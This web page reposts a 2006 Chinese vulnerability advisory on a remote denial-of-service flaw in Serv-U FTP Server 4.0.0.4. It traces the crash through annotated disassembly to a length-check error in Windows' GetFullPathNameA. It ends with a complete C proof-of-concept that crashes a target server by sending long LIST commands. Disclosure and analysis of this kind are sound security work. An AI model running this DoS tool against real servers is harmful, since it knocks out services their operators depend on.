分享
 
 
 

Serv-U远程拒绝服务漏洞以及原因分析

王朝other·作者佚名  2006-12-16
窄屏简体版  字體: |||超大  

涉及程序版本:

Serv-U FTP Server v4.0.0.4(以前版本也可能存在该漏洞,没有测试过)

漏洞类型:

远程拒绝服务

漏洞描述:

前几天使用了一下RhinoSoft出品的Serv-U FTP,感觉还不错,简单

测试了一下其安全性,发现当用匿名用户登陆后,发送LIST NNNN...命令,

后跟的字符数量达到253字节时,服务端报错,并且错误对话框无法关闭,

只能重启Serv-U FTP服务才行。

由于是由长字符串造成的,我一开始还认为是溢出之类的漏洞。后来

经过深入分析程序汇编代码,发现这不是一般的溢出,甚至可以说不是

Serv-U的本身程序的问题,而是一个WIN32 API的设计上的BUG。

GetFullPathNameA这个API用来获取指定文件的路径,但是它在处理

长文件名时没有考虑好边界条件,造成可能访问到不存在的内存地址,

在Serv-U的例子里就造成了拒绝服务攻击。本来一般像这种访问不存在

内存的漏洞,程序的异常处理都可以恢复过来的,不至于造成程序崩溃,

但是正是由于这个问题是由系统DLL出错而造成的,而不是应用程序本身

的问题,所以应用程序的异常处理例程无法正确处理该问题,从而导致了

服务端程序崩掉。

不仅仅是LIST命令受该漏洞影响,所有后跟参数是文件名的命令都有

这个问题,例如MDTM等等。另外触发这个漏洞的串长度是根据ftp根目录的

设置不同而定的,我写了个程序来测试该漏洞,程序见后面。

由于这个漏洞无法用来得到权限,所以也懒得报告到BUGTRAQ上去了,

不过分析漏洞的过程还是让我有点收获,起码知道了编程中哪些地方是程

序员容易忽视而造成安全漏洞的地方,微软的程序员也一样犯这样的错误。

程序分析:

下面是通过对该程序的反汇编代码的分析来解释造成该漏洞的原因。

由于反汇编出的代码有几十M之大,分析的时候难免出错,敬请各位发现

问题的同志指出。

Serv-U在接受到LIST NNN...命令后对文件名进行处理,会进入下面

这一段程序:

* Referenced by a CALL at Addresses:

|:005A4A8F , :005A4C97

|

:005A338C 55 push ebp

:005A338D 8BEC mov ebp, esp

:005A338F 83C4F8 add esp, FFFFFFF8

:005A3392 53 push ebx

:005A3393 56 push esi

:005A3394 57 push edi

:005A3395 8B7D08 mov edi, dword ptr [ebp+08]

:005A3398 6804010000 push 00000104

:005A339D E802F9FEFF call 00592CA4

:005A33A2 59 pop ecx

:005A33A3 8BD8 mov ebx, eax

:005A33A5 85C0 test eax, eax

:005A33A7 7507 jne 005A33B0

:005A33A9 33C0 xor eax, eax

:005A33AB E9A9000000 jmp 005A3459

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

|:005A33A7(C)

|

:005A33B0 8D55FC lea edx, dword ptr [ebp-04]

:005A33B3 52 push edx

:005A33B4 53 push ebx

:005A33B5 6804010000 push 00000104

:005A33BA 8B4D0C mov ecx, dword ptr [ebp+0C]

:005A33BD 51 push ecx ;这里是ftp跟目录加上LIST参数

* Reference To: KERNEL32.GetFullPathNameA, Ord:0000h

|

:005A33BE E89F630100 Call 005B9762 ;调用GetFullPathNameA

;-------------------------------------------------------------------------------------------

;调用到Kernel32.dll里的GetFullPathNameA函数

Exported fn(): GetFullPathNameA - Ord:012Ah

:77E80DBD 55 push ebp

:77E80DBE 8BEC mov ebp, esp

:77E80DC0 83EC24 sub esp, 00000024

:77E80DC3 53 push ebx

:77E80DC4 56 push esi

:77E80DC5 8B7514 mov esi, dword ptr [ebp+14]

:77E80DC8 33DB xor ebx, ebx

:77E80DCA F7DE neg esi

:77E80DCC 57 push edi

:77E80DCD 8D45FC lea eax, dword ptr [ebp-04]

:77E80DD0 FF7508 push [ebp+08]

:77E80DD3 895DF8 mov dword ptr [ebp-08], ebx

:77E80DD6 1BF6 sbb esi, esi

:77E80DD8 23F0 and esi, eax

:77E80DDA 8D45EC lea eax, dword ptr [ebp-14]

:77E80DDD 50 push eax

:77E80DDE E81E89FEFF call 77E69701

:77E80DE3 85C0 test eax, eax

:77E80DE5 0F84039C0000 je 77E8A9EE

:77E80DEB 64A118000000 mov eax, dword ptr fs:[00000018]

:77E80DF1 8B4030 mov eax, dword ptr [eax+30]

:77E80DF4 BF0A020000 mov edi, 0000020A ;长度限制,不正确!!!

;这里0x20A是分配的堆的大小,同时也作为后边判断RtlGetFullPathName_U

;返回长度的比较长度的限制

:77E80DF9 57 push edi

:77E80DFA FF35B0F7EB77 push dword ptr [77EBF7B0]

:77E80E00 FF7018 push [eax+18]

;分配0x20A字节的内存堆

* Reference To: NTDLL.RtlAllocateHeap, Ord:014Ah

|

:77E80E03 FF150410E677 Call dword ptr [77E61004]

:77E80E09 3BC3 cmp eax, ebx

:77E80E0B 8945F4 mov dword ptr [ebp-0C], eax

:77E80E0E 0F84C69B0000 je 77E8A9DA

:77E80E14 56 push esi

:77E80E15 50 push eax

:77E80E16 6808020000 push 00000208

:77E80E1B FF75F0 push [ebp-10]

;RtlGetFullPathName_U用来得到路径的UNICODE字符串,这个函数是由长度限制的,

;当长度大于0x208的时候无法正确得到路径,即无法正确拷贝串到ebp-0C中。

* Reference To: NTDLL.RtlGetFullPathName_U, Ord:01E7h

|

:77E80E1E FF15AC10E677 Call dword ptr [77E610AC]

:77E80E24 3BC7 cmp eax, edi ;这个判断不对,应该跳到错误处理去!

;但是由于前面的限制是0x20A,所以当用0x20A长的字符串时就会判断出错,

;不会进入错误处理去,而是继续对没有得到内容的堆内存进行后面的操作,

;这就是出错的根源

:77E80E26 894508 mov dword ptr [ebp+08], eax

:77E80E29 0F87CC9B0000 ja 77E8A9FB

* Reference To: NTDLL.RtlUnicodeToMultiByteSize, Ord:0294h

|

:77E80E2F 8B356010E677 mov esi, dword ptr [77E61060]

:77E80E35 50 push eax

:77E80E36 FF75F4 push [ebp-0C]

:77E80E39 8D4508 lea eax, dword ptr [ebp+08]

:77E80E3C 50 push eax

:77E80E3D FFD6 call esi ;call RtlUnicodeToMultiByteSize

:77E80E3F 3BC3 cmp eax, ebx

:77E80E41 0F8CAE9B0000 jl 77E8A9F5

:77E80E47 395D08 cmp dword ptr [ebp+08], ebx

:77E80E4A 0F8491000000 je 77E80EE1

:77E80E50 395D14 cmp dword ptr [ebp+14], ebx

:77E80E53 7420 je 77E80E75

:77E80E55 8B45FC mov eax, dword ptr [ebp-04]

:77E80E58 3BC3 cmp eax, ebx

:77E80E5A 7419 je 77E80E75

:77E80E5C 2B45F4 sub eax, dword ptr [ebp-0C]

:77E80E5F D1F8 sar eax, 1

:77E80E61 D1E0 shl eax, 1

:77E80E63 50 push eax

:77E80E64 8D45F8 lea eax, dword ptr [ebp-08]

:77E80E67 FF75F4 push [ebp-0C]

:77E80E6A 50 push eax

:77E80E6B FFD6 call esi ;call RtlUnicodeToMultiByteSize----出错!!!

;第2次调用RtlUnicodeToMultiByteSize的时候会把上面的错误显现出来

:77E80E6D 3BC3 cmp eax, ebx

:77E80E6F 0F8C809B0000 jl 77E8A9F5

;-------------------------------------------------------------------------------------------

最后一个call esi调用这里

Exported fn(): RtlUnicodeToMultiByteSize - Ord:0296h

:77F83EA4 8B44240C mov eax, dword ptr [esp+0C]

:77F83EA8 56 push esi

:77F83EA9 33F6 xor esi, esi

:77F83EAB D1E8 shr eax, 1

:77F83EAD 803D14F3FC7700 cmp byte ptr [77FCF314], 00

:77F83EB4 0F8598D30100 jne 77FA1252 ;会转到77FA1252去执行

:77F83EBA 8B4C2408 mov ecx, dword ptr [esp+08]

:77F83EBE 8901 mov dword ptr [ecx], eax

:77F83EC0 33C0 xor eax, eax

:77F83EC2 5E pop esi

:77F83EC3 C20C00 ret 000C

;-------------------------------------------------------------------------------------------

||||||跳到这里

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

|:77F83EB4(C)

|

:77FA1252 8BC8 mov ecx, eax

:77FA1254 48 dec eax

:77FA1255 85C9 test ecx, ecx

:77FA1257 7424 je 77FA127D

:77FA1259 8B4C240C mov ecx, dword ptr [esp+0C]

:77FA125D 57 push edi

:77FA125E 8D7801 lea edi, dword ptr [eax+01]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

|:77FA127A(C)

|

:77FA1261 0FB701 movzx eax, word ptr [ecx]

;这里会有个循环不断的取ecx的值,也就是前边RtlAllocateHeap分配的那个堆,

;因为前面那个堆里没有正确存放内容,所以会造成不跳出循环,从而一直取到

;内存页面不存在的地方,即0x00152000(也可能是别的值,由堆地址所定)。

:77FA1264 8B155404FD77 mov edx, dword ptr [77FD0454]

:77FA126A 41 inc ecx

:77FA126B 41 inc ecx

:77FA126C 668B0442 mov ax, word ptr [edx+2*eax]

:77FA1270 33D2 xor edx, edx

:77FA1272 8AD4 mov dl, ah

:77FA1274 84D2 test dl, dl

:77FA1276 7510 jne 77FA1288

:77FA1278 46 inc esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

|:77FA128A(U)

|

:77FA1279 4F dec edi

:77FA127A 75E5 jne 77FA1261

:77FA127C 5F pop edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

|:77FA1257(C)

|

:77FA127D 8B442408 mov eax, dword ptr [esp+08]

:77FA1281 8930 mov dword ptr [eax], esi

:77FA1283 E9382CFEFF jmp 77F83EC0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

|:77FA1276(C)

|

:77FA1288 46 inc esi

:77FA1289 46 inc esi

:77FA128A EBED jmp 77FA1279

漏洞测试程序:

/*

Serv-U FTP Server 4.0 remote DoS

by isno(isno@xfocus.org)

*/

#include <stdio.h>

#include <winsock.h>

#pragma comment (lib,"Ws2_32")

void main(int argc, char *argv[])

{

//anonymous ftp user and passwd

char user[] = "USER ftp\r\n";

char pass[] = "PASS bug@rhinosoft.com\r\n";

char buff[1024];

int s, i;

struct hostent *ht;

struct sockaddr_in sin;

WSADATA WSAData;

if(argc != 2)

{

printf("Usage: %s host\r\n",argv[0]);

exit(0);

}

if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)

{

printf("WSAStartup failed.\n");

WSACleanup();

exit(1);

}

if((ht = gethostbyname(argv[1])) == 0)

{

printf("cannot resolve %s\n",argv[1]);

exit(1);

}

sin.sin_port = htons(21);

sin.sin_family = AF_INET;

sin.sin_addr = *((struct in_addr *)ht->h_addr);

if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)

{

printf("cannot setup socket\r\n");

exit(1);

}

if((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1)

{

printf("cannot connect\r\n");

exit(1);

}

memset(buff,0,sizeof(buff));

if(recv(s, buff, 200, 0) == -1)

{

printf("cannot recv\r\n");

exit(1);

}

printf("%s\r\n",buff);

printf("%s\r\n",user);

memset(buff,0,sizeof(buff));

if(send(s, user, strlen(user), 0) == -1)

{

printf("cannot send\r\n");

exit(1);

}

memset(buff,0,sizeof(buff));

if(recv(s, buff, 200, 0) == -1)

{

printf("cannot recv\r\n");

exit(1);

}

printf("%s\r\n",buff);

printf("%s\r\n",pass);

memset(buff,0,sizeof(buff));

if(send(s, pass, strlen(pass), 0) == -1)

{

printf("cannot send\r\n");

exit(1);

}

memset(buff,0,sizeof(buff));

if(recv(s, buff, 200, 0) == -1)

{

printf("cannot recv\r\n");

exit(1);

}

printf("%s\r\n",buff);

//try long para from 200 to 300 bytes

for(i=200;i<300;i++)

{

printf("send LIST NNN...(%d bytes)\r\n",i);

memset(buff,0,sizeof(buff));

memcpy(buff,"LIST ",5);

memset(buff+5,0x4e,i);

memcpy(buff+5+i,"\r\n",2);

if(send(s, buff, strlen(buff), 0) == -1)

{

printf("cannot send\r\n");

exit(1);

}

memset(buff,0,sizeof(buff));

if(recv(s, buff, 200, 0) == -1)

{

printf("0verflow!\r\n");

return;

}

}

closesocket(s);

printf("target is not vuln\r\n");

return;

}

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有